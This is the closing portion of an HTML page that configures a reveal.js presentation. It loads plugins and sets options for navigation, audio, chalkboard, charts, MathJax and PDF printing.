	<script src="libs/reveal.js/4.1.3/plugin/embed-tweet/plugin.js"></script>

	<script src="libs/reveal.js/4.1.3/plugin/chart/chart.min.js"></script>
	<script src="libs/reveal.js/4.1.3/plugin/chart/plugin.js"></script>

  <script>

		const printPlugins = [
			RevealNotes, 
			RevealHighlight,
			RevealMath,
			RevealAnimate,
			RevealChalkboard, 
			RevealEmbedTweet,
			RevealChart,
		];

		const plugins =  [...printPlugins,
		RevealZoom, 
		RevealSearch, 
				RevealMarkdown, 
				RevealMenu, 
				RevealFullscreen,
				RevealAnything,
				//RevealAudioSlideshow,
				//RevealAudioRecorder,
				RevealCustomControls, 
				// poll
				// question
				// seminar
				 ]


		// Also available as an ES module, see:
		// https://revealjs.com/initialization/
		Reveal.initialize({
			controls: true,
			controlsTutorial: true,
			controlsLayout: 'bottom-right',
			controlsBackArrows: 'faded',
			progress: true,
			slideNumber: false,
			//#showSlideNumber "all" "print" "speaker"
			hash: true,//#  hash: false,
			//# respondToHashChanges: true,
			//# history: false,
			keyboard: true,
			//#keyboardCondition: null,
			overview: true,
			center: true,
			touch: true,
			loop: false,
			rtl: false,
			//#navigationMode: 'default', linear grid
			shuffle: false,
			fragments: true,
			fragmentInURL: false,
			embedded: false,
			help: true,
			//#pause: true
			showNotes: false,
			autoPlayMedia: false, // TODO fix this to a nullable value
			//#preloadIframes: null. true false
			//#autoAnimate: true
			//#autoAnimateMatcher: null,
			//#autoAnimateEasing: 'ease',
			//autoAnimateDuration: 1.0,
			//#autoAnimateUnmatched: true
			//#autoAnimateStyles: []
			autoSlide: 0, // TODO fix this to a falseable value
			autoSlideStoppable: true,
			autoSlideMethod: '0',
			defaultTiming: 120,
			mouseWheel: false,
			//#previewLinks: false
			//#postMessage: true,  // TODO : this can cause issues with the vscode api ???
			//#postMessageEvents: false,
			//#focusBodyOnPageVisibilityChange: true,
			transition: 'slide',
			transitionSpeed: 'default',
			backgroundTransition: 'fade',
			//#pdfMaxPagesPerSlide: Number.POSITIVE_INFINITY,
			//#pdfSeparateFragments: true,
			//#pdfPageHeightOffset: -1,
			viewDistance: 3,
			//#mobileViewDistance: 2,
			display: 'block',
			//#hideInactiveCursor: true,
			//#hideCursorTime: 5000

			// Parallax Background
			parallaxBackgroundImage: '',
			parallaxBackgroundSize: '',
			parallaxBackgroundHorizontal: 0,
			parallaxBackgroundVertical: 0,
			
			//Presentation Size
			width: 960,
			height: 700,
			margin: 0.04,
			minScale: 0.2,
			maxScale: 2,
			disableLayout: false,

			audio: {
				prefix: 'audio/', 	// audio files are stored in the "audio" folder
				suffix: '.ogg',		// audio files have the ".ogg" ending
				textToSpeechURL: null,  // the URL to the text to speech converter
				defaultNotes: false, 	// use slide notes as default for the text to speech converter
				defaultText: false, 	// use slide text as default for the text to speech converter
				advance: 0, 		// advance to next slide after given time in milliseconds after audio has played, use negative value to not advance
				autoplay: false,	// automatically start slideshow
				defaultDuration: 5,	// default duration in seconds if no audio is available
				defaultAudios: true,	// try to play audios with names such as audio/1.2.ogg
				playerOpacity: 0.05,	// opacity value of audio player if unfocused
				playerStyle: 'position: fixed; bottom: 4px; left: 25%; width: 50%; height:75px; z-index: 33;', // style used for container of audio controls
				startAtFragment: false, // when moving to a slide, start at the current fragment or at the start of the slide
			},
			
			chalkboard: { // font-awesome.min.css must be available
					//src: "chalkboard/chalkboard.json",
					storage: "chalkboard-demo",
				},
			
			customcontrols: {
					controls: [
      						{
						  id: 'toggle-overview',
						  title: 'Toggle overview (O)',
						  icon: '<i class="fa fa-th"></i>',
						  action: 'Reveal.toggleOverview();'
						}
						,
						{ icon: '<i class="fa fa-pen-square"></i>',
						  title: 'Toggle chalkboard (B)',
						  action: 'RevealChalkboard.toggleChalkboard();'
						},
						{ icon: '<i class="fa fa-pen"></i>',
						  title: 'Toggle notes canvas (C)',
						  action: 'RevealChalkboard.toggleNotesCanvas();'
						}
				]
			},
			chart: {
					defaults: { 
						color: 'lightgray', // color of labels
						scale: { 
							beginAtZero: true, 
							ticks: { stepSize: 1 },
							grid: { color: "lightgray" } , // color of grid lines
						},
					},
					line: { borderColor: [ "rgba(20,220,220,.8)" , "rgba(220,120,120,.8)", "rgba(20,120,220,.8)" ], "borderDash": [ [5,10], [0,0] ] }, 
					bar: { backgroundColor: [ "rgba(20,220,220,.8)" , "rgba(220,120,120,.8)", "rgba(20,120,220,.8)" ]}, 
					pie: { backgroundColor: [ ["rgba(0,0,0,.8)" , "rgba(220,20,20,.8)", "rgba(20,220,20,.8)", "rgba(220,220,20,.8)", "rgba(20,20,220,.8)"] ]},
					radar: { borderColor: [ "rgba(20,220,220,.8)" , "rgba(220,120,120,.8)", "rgba(20,120,220,.8)" ]}, 
			},
			math: {
				mathjax: 'https://cdn.jsdelivr.net/gh/mathjax/mathjax@2.7.8/MathJax.js',
				config: 'TeX-AMS_HTML-full',
				// pass other options into `MathJax.Hub.Config()`
				TeX: { Macros: { RR: "{\\bf R}" } }
				},
				anything: [ 
				{
		className: "plot",
		defaults: {width:500, height: 500, grid:true},
		initialize: (function(container, options){ options.target = "#"+container.id; functionPlot(options) })
	 },
	 {
		className: "chart",  
		initialize: (function(container, options){ container.chart = new Chart(container.getContext("2d"), options);  })
	 },
	 {
		className: "anything",
		initialize: (function(container, options){ if (options && options.initialize) { options.initialize(container)} })
	 },
					],
			// Learn about plugins: https://revealjs.com/plugins/
			plugins: (window.location.search.match(/print-pdf/gi) ? printPlugins : plugins ) 
		});
			


	    // Change chalkboard theme : 
		function changeTheme(input) {
			var config = {};
			config.theme = input.value;
			Reveal.getPlugin("RevealChalkboard").configure(config);
			input.blur();
		}

		// // Handle the message inside the webview
        // window.addEventListener('message', event => {

        //     const message = event.data; // The JSON data our extension sent

        //     switch (message.command) {
        //         case 'refactor':
        //             Reveal.toggleHelp();
        //     }
        // });

		if (window.location.search.match(/print-pdf-now/gi)) {
      		setTimeout(() => {
				window.print();
			  }, 2500);
			
    }
		

	</script>

</body>

</html>